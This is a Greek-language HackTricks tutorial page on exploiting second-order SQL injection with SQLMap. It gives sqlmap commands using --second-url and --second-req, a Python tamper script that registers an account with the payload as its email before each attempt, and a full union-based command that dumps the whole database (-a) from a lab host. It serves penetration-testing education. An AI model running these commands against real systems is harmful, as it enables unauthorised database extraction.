tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Το SQLMap μπορεί να εκμεταλλευτεί τις Δεύτερης Τάξης SQLis.
Πρέπει να παρέχετε:
- Το αίτημα όπου θα αποθηκευτεί το payload SQL injection
- Το αίτημα όπου το payload θα εκτελείται
Το αίτημα όπου αποθηκεύεται το payload SQL injection υποδεικνύεται όπως σε οποιαδήποτε άλλη ένεση στο sqlmap. Το αίτημα όπου το sqlmap μπορεί να διαβάσει την έξοδο/εκτέλεση της ένεσης μπορεί να υποδειχθεί με --second-url
ή με --second-req
αν χρειάζεται να υποδείξετε ένα πλήρες αίτημα από ένα αρχείο.
Απλό παράδειγμα δεύτερης τάξης:
#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"
#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt
Σε πολλές περιπτώσεις αυτό δεν θα είναι αρκετό γιατί θα χρειαστεί να εκτελέσετε άλλες ενέργειες εκτός από την αποστολή του payload και την πρόσβαση σε μια διαφορετική σελίδα.
Όταν αυτό είναι απαραίτητο, μπορείτε να χρησιμοποιήσετε ένα sqlmap tamper. Για παράδειγμα, το παρακάτω σενάριο θα καταχωρήσει έναν νέο χρήστη χρησιμοποιώντας το sqlmap payload ως email και θα αποσυνδεθεί.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
Ένα SQLMap tamper εκτελείται πάντα πριν ξεκινήσει μια προσπάθεια έγχυσης με ένα payload και πρέπει να επιστρέφει ένα payload. Σε αυτή την περίπτωση δεν μας ενδιαφέρει το payload αλλά μας ενδιαφέρει να στείλουμε κάποιες αιτήσεις, οπότε το payload δεν αλλάζει.
Έτσι, αν για κάποιο λόγο χρειαστούμε μια πιο σύνθετη ροή για να εκμεταλλευτούμε τη δεύτερη τάξη SQL injection όπως:
- Δημιουργία λογαριασμού με το SQLi payload μέσα στο πεδίο "email"
- Αποσύνδεση
- Σύνδεση με αυτόν τον λογαριασμό (login.txt)
- Αποστολή αιτήματος για εκτέλεση της SQL injection (second.txt)
Αυτή η γραμμή sqlmap θα βοηθήσει:
sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.